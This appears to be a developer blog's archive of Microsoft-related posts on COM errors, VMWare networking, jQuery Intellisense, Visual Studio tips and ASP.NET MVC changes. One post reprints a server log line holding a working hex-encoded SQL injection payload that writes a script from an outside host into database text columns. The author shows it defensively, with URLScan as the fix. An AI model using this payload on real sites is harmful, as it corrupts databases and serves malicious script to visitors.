Entries categorized 'Microsoft'

The Crazy 80040154 COM Class Factory Error

GoingCrazy I have been working on a project recently which requires me to integrate with QuickBooks Online, in this case from a web application.  I have had the pleasure (strong word) working with integrating with QuickBooks in various capacities in the past and although it is not trivial, it does work.  I ran into an interesting problem recently with an error that baffled me.

While attempting to connect to QuickBooks online from my ASP.NET C# application, I received the following COM Exception:

Retrieving the COM class factory for component with CLSID {3C801F08-CDC5-4129-AAE8-CCC4F116B5BE} failed due to the following error: 80040154.

Searching the various Intuit Developer Forums led me nowhere.  I was thinking it may be the fact I am funning on Windows 7 and figured it might be an incompatibility with Windows 7 and the COM components from Intuit in their QuickBooks SDK.  After various Google searches I picked up a few clues to the source of the problem, which in hindsight should have been a bit more obvious to me.

64-Bit Friend and Foe

The root of the problem was not really Windows 7 but the fact I am running 64-bit and Visual Studio 2008 defaults the Platform Target to “Any CPU” when building a project.  So selecting Project-> {project name} Properties show the following dialog with Any CPU selected:

ProjectBuildProperties

By changing the choice of the Platform Target to x86 and rerunning my application, the creation of the session to QuickBooks Online works fine.  The idea should have probably been more obvious to me, knowing the DLL’s from Intuit are 32-bit COM-based and the interop to my 64-bit operating system could cause some problems.

If anyone wants to add the technical details as to why this behaves as it does, I will update this post with those technical details.  I hope this helps someone else with the same problem so they won’t waste the time that I did.


Solving VMWare Workstation Networking Problems after Windows 7 Host Upgrade

I have been running Windows Vista 64-bit as my main .NET development system for quite some time now and pretty happy with the results.  I put each client I have in a VMWare virtual machine (VM) and install the necessary operating system, this keeps things isolated and clean from my Vista host.

I decided to upgrade my Vista host to the Windows 7 RTM, to get some of the niceties I have enjoyed while testing out Windows 7 in a VM.  The upgrade went very smooth but only later did I realize there was a problem upon starting a couple of my client VM’s.  I was greeted by this error:

VMWare-Error

After a bit of searching the web I stumbled upon a blog post by Andreas Heil titled Broken VMware Workstation Network Adapter, which described my problem and the solution almost completely.   I won’t repeat his solution here, but it turned out Bridging was not enabled on my VMNet1 adapter.  My virtual adapter looked liked this:

VMNet1-Config

Checking the box next to VMWare Bridge Protocol fixed the issue of not having network connectivity in all of the effected VM’s.

Technorati Tags: ,

Getting jQuery Intellisense Functioning in Visual Studio 2008

It was announced today at the Microsoft Professional Developers Conference that Visual Studio 2008 supports Intellisense for jQuery with an additional file available from jQuery.  The file is available from Google Code

There are no instructions included with the download but I took the time to get jQuery Intellisense to work in one of my ASP.NET MVC projects.   In order to get this to work I did the following:

1. Downloaded the jquery-1.2.6-vsdoc.js to the Scripts folder of my project along side my jquery-1.2.6.js file.

2. In my project I referenced the jquery-1.2.6-vsdoc.js file in my Master Page so I could reference it anywhere, like so:

jQueryUse

3. Once this is in place a simple test of function was created and Intellisense was tested:

jQueryIntellisense1

The reference to jQuery can be clearly seen here.

jQueryIntellisense2

The list of methods available as part of the jQuery library can also be seen.

This was pretty easy, the key part is making sure you have the proper path set for Visual Studio to find the jQuery JavaScript files.   I used the path as “~/script/jquery-1.2.6-vsdoc.js” and placed it after the reference to the main jQuery JavaScript file, referenced the same way. 

I hope this helps someone else trying to get this going.


Visual Studio 2008 Tips I Should Know

VisualStudioThumb Stephen Walther had a great, practical post recently on his blog with a set of tips and tricks to help developers make better use of Visual Studio 2008.  I have to admit I didn't know many of these tips and wonder what else I might be missing.  I will pay better attention to shortcuts as I run across them.

Here is a summary of the tips, but check out Stephen's post to see them in action:

  1. You don’t need to select a line to copy or delete it, use CTRL-c
  2. You can add a namespace automatically by pressing CTRL-.
  3. Never create properties by hand
  4. You can remove and sort unnecessary using statements
  5. Use CTRL-k+c to comment out code
  6. You can close all documents except the current one
  7. You can open a database by double-clicking the database file in App_Data
  8. You can copy a file or folder into a project by dragging and dropping
  9. Use CTRL-SPACE to perform statement completion
  10. Add new items by pressing CTRL-N or CTRL-SHIFT+A
  11. You don’t need to type file extensions when adding a file

Reading the comments in this post is worth the time as well with some other useful tips:

  1. CTRL-x to delete the current line.
  2. CTRL-r+e to encapsulate a class variable into a property.

Another source of shortcuts is the Visual C# 2008 Poster from Microsoft, a PDF cheat sheet for magical key bindings.  I also use ReSharper (R#) which has many keyboard shortcuts and it maps to some of the key bindings used by Visual Studio to supplement the features, which is nice.


Accessorize your Denial of Service or SQL Injection Attack

I was reading some posts on Twitter the past couple days and noticed some Tweets from Phil Haack and Scott Hanselman regarding an attack on their webHacked   servers for their blogs which caused a large spike in traffic.  They determined it was some type of Distributed Denial of Service (DDOS) attack.  I decided to check out my own server which I host this site and to my surprise, the same thing had been happening to me all day with an increase in traffic 10x.

I reviewed my server logs and saw some really large QueryStrings being sent which looked like this:

2008-08-08 05:51:53 W3SVC2557 SV2419 74.86.230.234 GET /asp-net/feed/ ';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F43757273
6F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756
D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E7874
7970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F7220464554434
8204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920
424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C6
53E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D
272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646
F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D2020546162
6C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655
F437572736F72%20AS%20CHAR(4000));EXEC(@S); 80 - 69.180.0.90 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;
+Zango+10.3.74.0) - - accidentaltechnologist.com 200 0 0 27171 1514 3328

It appears this is more of a SQL Injection attack and not just simply a DDOS.  You can see the EXEC(@S) where they are trying to execute some nasty SQL on my server.  Rick Strahl has also had some similar problems and he addresses the issue in IIS 7.0.

Not being what to do, I went to Twitter, pinged Scott to see what he did to stop the attack and he suggested URLScan from Microsoft.  Of course, this is tool I used to use back in the day of supporting clients web servers to help ward off unfriendly visitors.  I had forgotten all about this tool until Scott mentioned it.

I downloaded URLScan from Microsoft and promptly installed it on my web server and the DDOS attack stopped almost instantly.  The current version of URLScan is 2.5 which says it only works on IIS 6.0, but a beta version of URLScan 3.0 is available for IIS 5.1, 6.0, and 7.0.

Thank you Scott for the quick reply and suggestion to fix my problem.


The First Hartford, CT Code Camp coming August 16th, 2008

 ctdotnet

The first Hartford, CT Code Camp has been announced and is scheduled for Saturday August 16, 2008.   Details are limited but some information is available.

A code camp is a FREE, community-driven, all-day event for developers. Speakers are local or regional developers. Topics are based on community interest. Sessions are original and feature a heavy technical focus (no marketing fluff). We will follow the Spirit of the Codecamp Manifesto as described here - http://www.thedevcommunity.org/codecamps/manifesto.aspx

Location:

To be held at New Horizons Computer Learning Center (Bloomfield CT)
http://www.newhorizons.com/content/centerSearchResults.aspx?SiteId=25

Time:

CTDOTNET CodeCamp - Hartford CT (Saturday Aug 16th 9AM-5PM)

There is an open call for speakers right now so head over and sign up to speak.

We are seeking talented .NET developers to make a presentation or two at the First Hartford CodeCamp on August 16th (Saturday). If you have ever wanted fame (& perhaps fortune) - this is your opportunity! We are giving away one MSDN Premium subscription and other prizes for presenters (judged by evals from attendees).

Each session should be about 90mins in duration and the content should be on developer topics that would be of interest to attending developers. Just about anything in .NET and other Microsoft technologies!

Choose a .NET topic of interest and send a brief abstract or outline, your developer experience, expected audience level, etc or any other questions to ctdotnet@gmail.com

See you there?

Technorati Tags: ,,

ASP.NET MVC Recent Code Drop Updates Cause Some Pain

Microsoft released the ASP.NET MVC Framework updates to CTP 2 in the middle of April and for those using it you may have noticed some changes to the way certain things are done. 

I am working on a project where I am using the CTP to get a web site built and learning ASP.NET MVC along the way.  I started using the CTP 2 for the project and moved over to the latest code drop as soon as it came out.  Sure, I expected some changes so it was not a big deal, but the ones I encountered were interesting and caused a little head scratching about something that worked before but not now.

Project Wizard

The CodePlex April 16 MVC Interim Source Code Release includes two downloads, the MVC code itself and a set of Visual Studio MVC Templates.  When I first saw the templates I figured they were just some additional ones but they are above and beyond those in the original CTP2.  You can see there are two templates now when creating a new project.

VS2008-NewProject

One is shown under Visual Studio installed templates, called ASP.NET MVC Web Application and the other one and newer is under My Templates and is also called ASP.NET MVC Web Application.  Choosing one over the other creates two very different sets of code.

One benefit of having two sets of templates is you can create applications for both sets of code bases, CTP2 and the interim drop.  One other thing that is different when using the new templates is you don't get a nice test project to go in your solution.  It can be added of course.

Controllers

One of the changes which threw me off right away is the way Controller action methods have changed.  You can see from the screen shot just below that the controller action method Index() returns a void.

MVC-CTP2Controller

But the controller from the interim code drop controller action now returns an ActionResult, not a void.  This obviously breaks existing code.  Changing my existing code to work was not a big deal but was a surprise when trying the first build with the new code drop.

MVC-Controller-PostCTP

After fixing this code and heading over to Scott Guthrie's blog, he explains the reasoning behind the changes:

The MVC feature team is experimenting with a few ideas in this week's drop and are trying out some new ideas:

  1. Action methods on Controllers now by default return an "ActionResult" object (instead of void).  This ActionResult object indicates the result from an action (a view to render, a URL to redirect to, another action/route to execute, etc). 

  2. The RenderView(), RedirectToAction(), and Redirect() helper methods on the Controller base class now return typed ActionResult objects (which you can further manipulate or return back from action methods).

  3. The RenderView() helper method can now be called without having to explicitly pass in the name of the view template to render.  When you omit the template name the RenderView() method will by default use the name of the action method as the name of the view template to render.  So calling "RenderView()" with no parameters inside the "About()" action method is now the same as explicitly writing "RenderView('About')".

So why change Controller action methods to return ActionResult objects by default instead of returning void?  A number of other popular Web-MVC frameworks use the return object approach (including Django, Tapestry and others), and we found for ASP.NET MVC that it brought a few nice benefits.

Please take a look at Scott's post on this to see all of the benefits which I won't go into here.

Routing and Default.aspx

In the CTP2 release there is a default.aspx page that was really just a placeholder page that had no code-behind, but building with the new bits causes the default route to not behave the same way and produce a page not found error.  In order to fix this some code behind is added to default.aspx which fixes the problem for CTP2 code.  Below is what I added and incidentally is the same code added by the new templates.

MVC-Defaultaspx

The changes are needed because of helper method called routes.MapRoute() which eases the syntax of creating routes.  Anyone who created routes with routes.Add will understand how it can be a bit simpler:

MVC-Routes 

The recent code drop (4/16) templates fix all these issues and new projects just work without having to deal with tweaking code.

Conclusion

I think these changes are keeping us on course in the right direction but are a couple of gotchas if you are not aware of them.

Technorati Tags: ,

Back in the Vista Saddle Again

I have wanted to be a Windows Vista user and developer since before it was released, but there always seemed like something didn't work or some application I used kept crashing.  The pure pain of the performance of Vista alone was not worth the "upgrade" from Windows XP.VistaUltimate

I have tried both the 32 and 64-bit versions of Vista and had a horrible time, consistently running into problems trying to get the iPhone working with iTunes under Vista as well.  I wrote about some issues before giving up.

Once Vista Service Pack1 was released I decided to update a couple of my virtual machines (VMWare, no Virtual PC here) and was a bit disappointed by my observations, the VMs were not noticeably faster.  I had heard SP1 was significant performance improvements over Vista RTM, but this was not so.

I had the opportunity to get my hands on a Vista disk with SP1 already part of the install, this way you don't to install Vista and then install the service pack later.  I did this first in a fresh virtual machine with 1G of RAM, the install was clean and the VM runs amazingly fast on VMWare Fusion on my MacBook Pro with 4G of RAM.

Fusion Since Vista ran so well in a VM on my Mac I decided to go for it and replace a flaky Windows XP installation on my main development system.  The installation went very smooth and I did not have to install any third party drivers for my Asus motherboard. 

Setting out to install all the necessary software packages like Visual Studio 2008, SQL Server 2005, iTunes and a ton of other packages has resulted in a very fast and stable platform.  All of my issues with the iPhone and iTunes as well as the ASP.NET development server are gone.  One of my biggest complaints, speed, seems to be a non-issue for me today. 

After a few days of pretty heavy use I have to say I am pleased with Vista at this point.  It shouldn't matter installing Vista and the service pack later but it certainly seems to be better doing it this way.

If I look back to the days of Windows XP it did take Microsoft a couple service packs for users to adopt XP and be happy with it.  There were performance complaints, stability issues and compatibility problem that were all overcome.  I think this may be very much the same.

I think Vista is very good at this point and I have to admit it took me a lot to say it. I have been down on it since the release and all of the troubles I have faced.  I have given a good deal of razzing to the Microsoft consultants I work with, they get paid to love Vista and poking at them has been a lot of fun.

Technorati Tags: ,,

ASP.NET MVC Source Code Now Available - ScottGu's Blog

As an fan of all things MVC, today's news of the release of the ASP.NET MVC Source Code was really good news.  I think it shows Microsoft's continued steps toward being open source. 

Scott Guthrie was the one breaking the news and he has some details on his blog to check out.  The source was released as part of a CodePlex project and can be found as part of the ASP.NET CodePlex project, where the source can be found and downloaded.

Scott Hanselman also has a great post about his thoughts on the ASP.NET MVC source code and goes into some detail in The Weekly Source Code.  It's really nice to see Scott spend the time pointing us to various areas of the source code.  It's good stuff and worth the read.

In case you missed one of Scott's earlier examination of the ASP.NET MVC Source you should also check it out.


Fixing the Toolbox in Visual Studio 2005

I have had the extreme pleasure of working with Microsoft SQL Server 2005 Reporting Services lately (notice the extreme sarcasm in my tone).  I am working on a project for a large client and one part of the project requires I enhance a report to support multiple languages.   This post is not about localization but a rather strange issue I faced today.

I opened up my project in Visual Studio and proceed to open the report I needed to analyze for changes and decided to look at the controls at my disposal to help enhance the report and was greeted by this set of controls:

ReportingServicesToolBoxBefore

Interesting, all the controls are just Textbox.  Obviously this isn't right and I had to do a bit of searching around the net for a few things to try.  The first suggestion I found was to right click the Toolbox and select Reset ToolBox....this had no effect.  Several suggestions didn't seem right but I finally tried one which worked.  It involved a few steps:

  1. Shutdown Visual Studio
  2. Locate the directory - C:\Documents and Settings\<user name>\Local Settings\Application Data\Microsoft\VisualStudio\8.0
  3. Delete all files named Toolbox.* (there were 4 of them)
  4. Restart Visual Studio

The directory listing where the Toolbox files live looked like this:

VisualStudioToolBox

When Visual Studio restarts it will recreate the Toolbox files based on what is installed on the system.  After restarting Visual Studio my Toolbox looked like this when editing a report:

ReportingServicesToolBoxAfter

The steps are pretty trivial when you know what they are but finding the solution took a bit of spelunking but it worked like a charm.  I don't know what actually caused this to happen but I don't have the time to find out why.  If someone has the reason I would love to know why.